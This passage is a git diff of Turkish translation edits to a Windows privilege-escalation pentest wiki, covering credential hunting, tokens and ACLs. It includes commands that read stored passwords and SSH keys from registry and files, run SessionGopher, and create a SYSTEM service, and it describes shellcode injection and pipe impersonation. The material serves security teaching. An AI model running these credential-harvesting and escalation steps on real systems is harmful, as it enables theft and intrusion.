aynı kullanıcı tarafından şifrelerinin çözülebileceği anlamına gelir. +**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde depolamak için genellikle **betik** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu da genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifrelerinin çözülebileceği anlamına gelir. -Bir PS kimlik bilgisini içeren dosyadan **şifre çözmek** için şunları yapabilirsiniz: +Bir dosyadan PS kimlik bilgilerini **şifre çözmek** için şunları yapabilirsiniz: ```powershell PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -793,7 +793,7 @@ Mimikatz `sekurlsa::dpapi` modülü ile bellekten **birçok DPAPI masterkey** ç ### Sticky Notes -İnsanlar genellikle Windows iş istasyonlarında **şifreleri** ve diğer bilgileri kaydetmek için StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir. +İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek** için StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir. ### AppCmd.exe @@ -904,10 +904,10 @@ SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Key ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Eğer o yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ +Bu yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ Bu teknik hakkında daha fazla bilgi burada: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız: +Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız, şunu çalıştırın: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` @@ -929,7 +929,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Ayrıca bu dosyaları **metasploit** kullanarak arayabilirsiniz: _post/windows/gather/enum_unattend_ +Bu dosyaları **metasploit** kullanarak da arayabilirsiniz: _post/windows/gather/enum_unattend_ Örnek içerik: ```xml @@ -976,9 +976,9 @@ AppData\Roaming\gcloud\access_tokens.db ### Cached GPP Pasword -Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulanmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıdığı için ciddi bir risk oluşturuyordu. +Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıdığı için ciddi bir risk oluşturuyordu. -Bu riski azaltmak için, boş olmayan bir "cpassword" alanı içeren yerel olarak önbelleğe alınmış GPP dosyalarını tarayan bir işlev geliştirildi. Böyle bir dosya bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP hakkında ayrıntılar ve dosyanın konumu gibi bilgileri içerir ve bu güvenlik açığının tanımlanmasına ve giderilmesine yardımcı olur. +Bu riski azaltmak için, boş olmayan bir "cpassword" alanı içeren yerel önbelleğe alınmış GPP dosyalarını taramak için bir işlev geliştirildi. Böyle bir dosya bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP hakkında ayrıntılar ve dosyanın konumu gibi bilgileri içerir ve bu güvenlik açığının tanımlanmasına ve giderilmesine yardımcı olur. Bu dosyaları bulmak için `C:\ProgramData\Microsoft\Group Policy\history` veya _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista'dan önce)_ dizininde arayın: @@ -1205,11 +1205,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Parola arayan araçlar -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **bir msf** eklentisidir, bu eklentiyi **kurbanın içindeki kimlik bilgilerini arayan her metasploit POST modülünü otomatik olarak çalıştırmak için** oluşturdum.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **bir msf** eklentisidir, bu eklentiyi **kurbanın içindeki kimlik bilgilerini arayan her metasploit POST modülünü otomatik olarak çalıştırmak için oluşturdum.**\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada belirtilen parolaları içeren tüm dosyaları otomatik olarak arar.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden parola çıkarmak için başka bir harika araçtır. -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** açık metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar. +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** düz metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar. ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1218,10 +1218,10 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Sızdırılan İşlemciler -Hayal edin ki **SYSTEM olarak çalışan bir işlem** **tam erişimle** yeni bir işlem açıyor (`OpenProcess()`). Aynı işlem **düşük ayrıcalıklarla yeni bir işlem oluşturuyor** (`CreateProcess()`) ve **ana işlemin tüm açık işlemcilerini miras alıyor**.\ -Eğer **düşük ayrıcalıklı işleme tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı işleme açık işlemciyi** alabilir ve **shellcode enjekte edebilirsiniz**.\ +Hayal edin ki **SYSTEM olarak çalışan bir işlem** **tam erişimle** yeni bir işlem açıyor (`OpenProcess()`). Aynı işlem **düşük ayrıcalıklarla yeni bir işlem de oluşturuyor** (`CreateProcess()`) **ancak ana işlemin tüm açık işlemcilerini miras alıyor**.\ +O zaman, eğer **düşük ayrıcalıklı işleme tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı işleme açık işlemciyi** alabilir ve **shellcode enjekte edebilirsiniz**.\ [Bu örneği okuyarak **bu güvenlik açığını nasıl tespit edip istismar edeceğiniz hakkında daha fazla bilgi edinebilirsiniz**.](leaked-handle-exploitation.md)\ -[**Farklı izin seviyeleriyle (sadece tam erişim değil) miras alınan işlemler ve iş parçacıkları için daha fazla açık işlemciyi test etme ve istismar etme hakkında daha kapsamlı bir açıklama için bu diğer gönderiyi okuyun**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +[**Farklı izin seviyeleriyle (sadece tam erişim değil) miras alınan işlemlerin ve iş parçacıklarının daha fazla açık işlemcilerini test etme ve istismar etme hakkında daha kapsamlı bir açıklama için bu diğer gönderiyi okuyun**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## İsimli Boru Müşteri Taklidi @@ -1229,9 +1229,9 @@ Paylaşılan bellek segmentleri, **borular** olarak adlandırılır ve işlem il Windows, **İsimli Borular** adı verilen bir özellik sunar; bu, ilgisiz işlemlerin verileri paylaşmasına olanak tanır, hatta farklı ağlar üzerinden bile. Bu, **isimli boru sunucusu** ve **isimli boru istemcisi** olarak tanımlanan rollerle bir istemci/sunucu mimarisine benzer. -Bir **istemci** tarafından bir boru aracılığıyla veri gönderildiğinde, boruyu kuran **sunucu**, gerekli **SeImpersonate** haklarına sahip olması durumunda **istemcinin kimliğini üstlenme** yeteneğine sahiptir. Bir boru aracılığıyla iletişim kuran bir **ayrıca ayrıcalıklı işlemi** tanımlamak, o işlem boruyla etkileşime girdiğinde kimliğini benimseyerek **daha yüksek ayrıcalıklar elde etme** fırsatı sunar. Böyle bir saldırıyı gerçekleştirmek için talimatlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](./#from-high-integrity-to-system) bulunabilir. +Bir **istemci** tarafından bir boru aracılığıyla veri gönderildiğinde, boruyu kuran **sunucu**, gerekli **SeImpersonate** haklarına sahip olması durumunda **istemcinin kimliğini üstlenme** yeteneğine sahiptir. Bir boru aracılığıyla iletişim kuran bir **ayrıca ayrıcalıklı işlemi** tanımlamak, o işlem boruyla etkileşime girdiğinde kimliğini benimseyerek **daha yüksek ayrıcalıklar kazanma** fırsatı sunar. Böyle bir saldırıyı gerçekleştirmek için talimatlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](./#from-high-integrity-to-system) bulunabilir. -Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimli boru iletişimini kesmeyi** sağlar: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, ayrıcalık kazanmak için tüm boruları listeleyip görmenizi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimli boru iletişimini kesmeyi sağlar:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, ayrıcalık kazanımları bulmak için tüm boruları listeleyip görmeyi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Çeşitli @@ -1295,7 +1295,7 @@ Bu güvenlik açığını istismar etmek için aşağıdaki adımların gerçekl 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler bulunmaktadır: +Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler mevcuttur: https://github.com/jas502n/CVE-2019-1388 @@ -1317,15 +1317,15 @@ Sonra **UAC ve UAC atlatmaları hakkında bilgi edinmek için bunu okuyun:** ### **Yeni hizmet** -Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SİSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir: +Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SYSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` ### AlwaysInstallElevated -Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişlerini etkinleştirmeyi** ve bir _**.msi**_ sarmalayıcı kullanarak bir ters kabuk **kurmayı** deneyebilirsiniz.\ -[Kayıt defteri anahtarları ve bir _.msi_ paketinin nasıl yükleneceği hakkında daha fazla bilgi burada.](./#alwaysinstallelevated) +Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişlerini etkinleştirmeyi** ve **ters bir shell yüklemeyi** deneyebilirsiniz _**.msi**_ sarmalayıcı kullanarak.\ +[Kayıt anahtarları hakkında daha fazla bilgi ve bir _.msi_ paketini nasıl yükleyeceğiniz burada.](./#alwaysinstallelevated) ### High + SeImpersonate ayrıcalığını Sisteme @@ -1333,19 +1333,19 @@ Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişler ### SeDebug + SeImpersonate'den Tam Token ayrıcalıklarına -Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabilir**, sürecin **token'ını kopyalayabilir** ve o token ile **rastgele bir süreç oluşturabilirsiniz**.\ +Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayacak** ve o token ile **rastgele bir süreç oluşturacaksınız**.\ Bu tekniği kullanmak genellikle **tüm token ayrıcalıklarına sahip SYSTEM olarak çalışan herhangi bir süreci seçmek** şeklindedir (_evet, tüm token ayrıcalıklarına sahip SYSTEM süreçlerini bulabilirsiniz_).\ -**Önerilen tekniği uygulayan bir** [**kod örneğini burada bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** +**Önerilen tekniği uygulayan bir** [**kod örneğini buradan bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** oluşturan **sunucu**, **`SeImpersonate`** ayrıcalığı ile boru istemcisinin (hizmetin) **token'ını taklit edebilir** ve SYSTEM ayrıcalıklarını elde edebilir.\ -Eğer [**isimli borular hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](./#named-pipe-client-impersonation).\ -Eğer [**isimli borular kullanarak yüksek bütünlükten Sisteme nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız**](from-high-integrity-to-system-with-name-pipes.md). +Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** `SeImpersonate` ayrıcalığı ile oluşturan **sunucu**, boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\ +Eğer [**isim boruları hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](./#named-pipe-client-impersonation).\ +Eğer [**yüksek bütünlükten Sistem'e isim boruları kullanarak nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **ele geçirmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabilirsiniz. Bu nedenle Dll Hijacking, bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, **yüksek bütünlük sürecinden elde edilmesi çok daha kolaydır** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\ +Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **istila etmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabileceksiniz. Bu nedenle Dll Hijacking, bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, **yüksek bütünlük sürecinden çok daha kolay elde edilebilir** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\ **Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**buradan**](dll-hijacking/)**.** ### **Yönetici veya Ağ Servisinden Sisteme** @@ -1372,10 +1372,10 @@ Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir d [**privesc** ](https://github.com/enjoiz/Privesc)**-- Yanlış yapılandırmaları kontrol et**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerel olarak -Thorough kullanın.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Kimlik bilgilerini Credential Manager'dan çıkarır. Tespit edildi.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan adı üzerinde püskürt**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracıdır.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan şifreleri alan adı üzerinde püskürt**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracı.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows envanteri**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (WATSON için DEPREKATE)\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (Watson için DEPREKATE)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerekir)** **Exe** @@ -1400,7 +1400,7 @@ Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir d _multi/recon/local_exploit_suggestor_ -Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([bunu görün](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: +Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md index 38dbfd7d4..b4d9331d3 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -76,12 +76,12 @@ Bu, ağdaki nesnelere erişim için geçerli kimlik bilgilerine sahip olduğunuz İki tür token mevcuttur: -- **Birincil Token**: Bir sürecin güvenlik kimlik bilgilerini temsil eder. Birincil tokenların oluşturulması ve süreçlerle ilişkilendirilmesi, ayrıcalık ayrımını vurgulayan yükseltilmiş ayrıcalıklar gerektiren eylemlerdir. Genellikle, bir kimlik doğrulama hizmeti token oluşturma ile sorumluyken, bir oturum açma hizmeti bunun kullanıcı işletim sistemi kabuğu ile ilişkilendirilmesini yönetir. Süreçlerin, oluşturulduklarında ebeveyn süreçlerinin birincil tokenını miras aldığını belirtmekte fayda var. +- **Birincil Token**: Bir sürecin güvenlik kimlik bilgilerini temsil eder. Birincil tokenların oluşturulması ve süreçlerle ilişkilendirilmesi, ayrıcalık ayrımı ilkesini vurgulayan, yükseltilmiş ayrıcalıklar gerektiren eylemlerdir. Genellikle, token oluşturma işlemi bir kimlik doğrulama hizmeti tarafından gerçekleştirilirken, bir oturum açma hizmeti, tokenın kullanıcının işletim sistemi kabuğuyla ilişkilendirilmesinden sorumludur. Süreçlerin, oluşturulduklarında ebeveyn süreçlerinin birincil tokenını miras aldığını belirtmek gerekir. - **Taklit Token**: Bir sunucu uygulamasının, güvenli nesnelere erişim için istemcinin kimliğini geçici olarak benimsemesini sağlar. Bu mekanizma dört işlem seviyesine ayrılmıştır: - **Anonim**: Sunucuya, tanımlanamayan bir kullanıcınınki gibi erişim izni verir. - **Kimlik Doğrulama**: Sunucunun, nesne erişimi için kullanmadan istemcinin kimliğini doğrulamasına olanak tanır. - **Taklit**: Sunucunun, istemcinin kimliği altında çalışmasını sağlar. -- **Delege**: Taklit ile benzer, ancak sunucunun etkileşimde bulunduğu uzak sistemlere bu kimlik varsayımını genişletme yeteneğini içerir, kimlik bilgilerini korur. +- **Delege**: Taklit ile benzer, ancak sunucunun etkileşimde bulunduğu uzak sistemlere bu kimlik varsayımını genişletme yeteneğini içerir ve kimlik bilgilerini korur. #### Taklit Tokenlar @@ -89,13 +89,13 @@ Metasploit'in _**incognito**_ modülünü kullanarak yeterli ayrıcalıklara sah ### Token Ayrıcalıkları -Hangi **token ayrıcalıklarının ayrıcalıkları yükseltmek için kötüye kullanılabileceğini** öğrenin: +Hangi **token ayrıcalıklarının ayrıcalıkları yükseltmek için kötüye kullanılabileceğini öğrenin:** {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -[**tüm olası token ayrıcalıklarına ve bu dış sayfadaki bazı tanımlara**](https://github.com/gtworek/Priv2Admin) göz atın. +[**Tüm olası token ayrıcalıklarına ve bu dış sayfadaki bazı tanımlara**](https://github.com/gtworek/Priv2Admin) göz atın. ## Referanslar diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md index 27cf89bc1..a6df9896d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md +++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md @@ -4,7 +4,7 @@ ## **Erişim Kontrol Listesi (ACL)** -Erişim Kontrol Listesi (ACL), bir nesne ve onun özellikleri için korumaları belirleyen sıralı bir Erişim Kontrol Girişi (ACE) setinden oluşur. Temelde, bir ACL, belirli bir nesne üzerinde hangi güvenlik ilkelerinin (kullanıcılar veya gruplar) hangi eylemlere izin verildiğini veya reddedildiğini tanımlar. +Erişim Kontrol Listesi (ACL), bir nesne ve onun özellikleri için korumaları belirten sıralı bir Erişim Kontrol Girişi (ACE) setinden oluşur. Temelde, bir ACL, belirli bir nesne üzerinde hangi güvenlik ilkelerinin (kullanıcılar veya gruplar) hangi eylemlere izin verildiğini veya reddedildiğini tanımlar. İki tür ACL vardır: @@ -22,7 +22,7 @@ Bir dosyaya erişim süreci, sistemin nesnenin güvenlik tanımını kullanıcı Her kullanıcı oturumu, o oturumla ilgili güvenlik bilgilerini içeren bir erişim belirteci ile ilişkilidir; bu bilgiler arasında kullanıcı, grup kimlikleri ve ayrıcalıklar bulunur. Bu belirteç ayrıca oturumu benzersiz bir şekilde tanımlayan bir oturum SID'si içerir. -Yerel Güvenlik Otoritesi (LSASS), erişim taleplerini DACL'deki ACE'leri inceleyerek, erişim talep eden güvenlik ilkesine uyanları kontrol ederek işler. İlgili ACE'ler bulunmazsa erişim hemen verilir. Aksi takdirde, LSASS, erişim belirtecindeki güvenlik ilkesinin SID'si ile ACE'leri karşılaştırarak erişim uygunluğunu belirler. +Yerel Güvenlik Otoritesi (LSASS), erişim isteklerini nesnelere işleyerek, erişim talep eden güvenlik ilkesine uyan ACE'leri DACL'de inceleyerek gerçekleştirir. İlgili ACE'ler bulunmazsa erişim hemen verilir. Aksi takdirde, LSASS, erişim belirtecindeki güvenlik ilkesinin SID'si ile ACE'leri karşılaştırarak erişim uygunluğunu belirler. ### **Özetlenmiş Süreç** @@ -34,9 +34,9 @@ Yerel Güvenlik Otoritesi (LSASS), erişim taleplerini DACL'deki ACE'leri incele **Üç ana Erişim Kontrol Girişi (ACE) türü** vardır: -- **Erişim Reddedildi ACE:** Bu ACE, belirli kullanıcılar veya gruplar için bir nesneye erişimi açıkça reddeder (DACL'de). -- **Erişim İzin Verildi ACE:** Bu ACE, belirli kullanıcılar veya gruplar için bir nesneye erişimi açıkça verir (DACL'de). -- **Sistem Denetim ACE:** Bir Sistem Erişim Kontrol Listesi (SACL) içinde yer alır ve kullanıcılar veya gruplar tarafından bir nesneye erişim girişimlerinde denetim günlükleri oluşturulmasından sorumludur. Erişimin izin verilip verilmediğini ve erişimin niteliğini belgeler. +- **Erişim Reddedildi ACE'si:** Bu ACE, belirli kullanıcılar veya gruplar için bir nesneye erişimi açıkça reddeder (bir DACL'de). +- **Erişim İzin Verildi ACE'si:** Bu ACE, belirli kullanıcılar veya gruplar için bir nesneye erişimi açıkça verir (bir DACL'de). +- **Sistem Denetim ACE'si:** Bir Sistem Erişim Kontrol Listesi (SACL) içinde yer alır ve kullanıcılar veya gruplar tarafından bir nesneye erişim girişimlerinde denetim günlükleri oluşturulmasından sorumludur. Erişimin izin verilip verilmediğini ve erişimin niteliğini belgeler. Her ACE'nin **dört kritik bileşeni** vardır: @@ -47,30 +47,30 @@ Her ACE'nin **dört kritik bileşeni** vardır: Erişim belirlemesi, her ACE'yi sırasıyla inceleyerek gerçekleştirilir: -- Bir **Erişim-Reddedildi ACE** erişim belirtecinde tanımlanan bir güvenilir kişiye talep edilen hakları açıkça reddeder. -- **Erişim-İzin Verildi ACE'leri** erişim belirtecindeki bir güvenilir kişiye talep edilen tüm hakları açıkça verir. +- Bir **Erişim-Reddedildi ACE'si**, erişim belirtecinde tanımlanan bir güvenilir kişiye talep edilen hakları açıkça reddeder. +- **Erişim-İzin Verildi ACE'leri**, erişim belirtecindeki bir güvenilir kişiye talep edilen tüm hakları açıkça verir. - Tüm ACE'ler kontrol edildikten sonra, talep edilen herhangi bir hak **açıkça izin verilmemişse**, erişim dolaylı olarak **reddedilir**. ### ACE'lerin Sırası -**ACE'lerin** (bir şeyin kimler tarafından erişilip erişilemeyeceğini belirten kurallar) **DACL** içinde sıralanma şekli çok önemlidir. Çünkü sistem, bu kurallara dayanarak erişim verip reddettikten sonra geri kalanına bakmayı durdurur. +**ACE'lerin** (bir şeyin kimler tarafından erişilip erişilemeyeceğini belirten kurallar) bir **DACL** içinde sıralanma şekli çok önemlidir. Çünkü sistem, bu kurallara dayanarak erişim verip reddettikten sonra geri kalanına bakmayı durdurur. Bu ACE'leri düzenlemenin en iyi yolu **"kanonik sıra"** olarak adlandırılır. Bu yöntem, her şeyin düzgün ve adil bir şekilde çalışmasını sağlamaya yardımcı olur. İşte **Windows 2000** ve **Windows Server 2003** gibi sistemler için nasıl olduğu: - Öncelikle, **bu nesneye özel olarak** oluşturulmuş tüm kuralları, başka bir yerden gelen kurallardan (örneğin, bir üst klasörden) önce yerleştirin. - Bu özel kurallar içinde, **"hayır" (reddet)** diyenleri, **"evet" (izin ver)** diyenlerden önce yerleştirin. -- Başka bir yerden gelen kurallar için, **en yakın kaynaktan** (ebeveyn gibi) başlayın ve oradan geriye doğru gidin. Yine, **"hayır"** kurallarını **"evet"** kurallarından önce yerleştirin. +- Başka bir yerden gelen kurallar için, **en yakın kaynaktan** (ebeveyn gibi) başlayın ve oradan geriye doğru gidin. Yine, **"hayır"** öncelikli olmalıdır. Bu düzenleme iki büyük şekilde yardımcı olur: - Eğer belirli bir **"hayır"** varsa, bu saygı gösterilir; diğer **"evet"** kuralları ne olursa olsun. -- Bir nesnenin sahibi, herhangi bir üst klasörden veya daha geriden gelen kurallardan önce kimin gireceği konusunda **son sözü** söyleme hakkına sahip olur. +- Bir nesnenin sahibi, herhangi bir üst klasörden veya daha geriden gelen kurallardan önce kimin gireceği konusunda **son sözü** söyleyebilir. -Bu şekilde, bir dosya veya klasörün sahibi, kimin erişim alacağı konusunda çok hassas olabilir; doğru kişilerin girmesini sağlarken, yanlış olanların girmesini engelleyebilir. +Bu şekilde, bir dosya veya klasörün sahibi, kimin erişim alacağı konusunda çok hassas olabilir, doğru kişilerin girebilmesini sağlarken yanlış olanların girmesini engelleyebilir. ![](https://www.ntfs.com/images/screenshots/ACEs.gif) -Bu nedenle, bu **"kanonik sıra"** erişim kurallarının net ve iyi çalışmasını sağlamakla ilgilidir; özel kuralları öncelikli hale getirir ve her şeyi akıllıca düzenler. +Bu nedenle, bu **"kanonik sıra"**, erişim kurallarının net ve iyi çalışmasını sağlamak, özel kuralları öncelikli hale getirmek ve her şeyi akıllıca düzenlemekle ilgilidir. ### GUI Örneği @@ -88,46 +88,46 @@ Ve bir Güvenlik İlkesi eklediğinizde veya düzenlediğinizde: ![http://secureidentity.se/wp-content/uploads/2014/04/editseprincipalpointers1.jpg](../../images/editseprincipalpointers1.jpg) -Son olarak, Denetim sekmesinde SACL'yi görürüz: +Son olarak, Denetim sekmesinde SACL'yi görüyoruz: ![http://secureidentity.se/wp-content/uploads/2014/04/audit-tab.jpg](../../images/audit-tab.jpg) ### Erişim Kontrolünü Basit Bir Şekilde Açıklamak -Kaynaklara, örneğin 